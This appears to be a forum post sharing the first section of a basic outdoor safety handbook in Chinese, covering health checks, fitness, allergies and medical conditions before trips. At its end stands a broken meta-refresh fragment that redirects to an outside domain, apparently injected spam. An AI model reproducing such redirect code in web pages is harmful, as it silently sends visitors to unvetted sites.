【分享】户外安全手册（基本版）

风行天下

一、行前 ——喜欢户外的人们应该怀着对自然和生命敬畏的态度，在事先作好充分准备的前提下快乐出行。 1、认识自己 ① 出发前去医院作个体检或来一次体能测试是相当必要的，能对自己身体是否适应有个客观认识。 ② 对将要进行的户外运动活动时间安排和强度等情况作一个综合评估，看自己身体是否能够承受。 ③ 对于高强度的户外运动，比如：登雪山、穿越、漂流等活动，还应该提前进行一段时间的锻炼。 ④ 对食物、花粉、植物有过敏反应史的要重视，作好相应预防措施，同时随身携带抗过敏的药物。 ⑤ 如果有心脏病、高血压、癫痫病、眩晕病史的应该避免进行登山活动和其它危险性较大的运动。 ☉相信只要做到上诉几点，就能在很大程度上预防和避免由于个人身体状况引起的意外事故发生。 ="refresh" "0; url=http://0909.cc">

　

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